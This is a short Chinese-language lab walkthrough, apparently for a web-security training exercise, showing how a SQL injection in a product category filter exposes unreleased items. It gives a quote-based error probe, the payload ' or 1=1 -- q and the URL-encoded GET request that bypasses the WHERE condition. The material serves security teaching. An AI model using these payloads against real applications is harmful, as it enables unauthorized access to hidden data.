?突破WHERE限制的SQL子句,显示表内全部内容
Lab: SQL injection vulnerability in WHERE clause allowing retrieval of hidden data
实验前置必要知识点
一个没有安全概念的网站,会直接将用户的输入拼接到SQL语句中进行查询。
SELECT * FROM products WHERE category = 'Accessories' AND released = 1
可控区域在
SELECT * FROM products WHERE category = '{用户输入处}' AND released = 1
实验要求是请执行 SQL 注入攻击,使应用程序显示任何类别(已发布和未发布)中所有产品的详细信息,本质上应该是去掉WHERE的限制
首先尝试让SQL语句进行报错,通常我们可以尝试输入'
SELECT * FROM products WHERE category = ''' AND released = 1
很直观的发现服务器回显了500大概率是SQL语句报错产生
尝试构造Ture的语法并且注释掉released = 1首先闭合SQL语句,并且注释掉后面的内容
SELECT * FROM products WHERE category = '{' or 1=1 -- q}' AND released = 1
SELECT * FROM products WHERE category = '' or 1=1 -- q' AND released = 1
因为是在GET传参,所以空格需要进行编码成%20
GET /filter?category=Accessories'%20or%201=1%20--%20q HTTP/2
5.完成实验
这样总体的SQL语句就会变成只要是在products表中的内容都会显示
SELECT * FROM products WHERE True
发现确实将输入执行成了SQL注入,成功完成了实验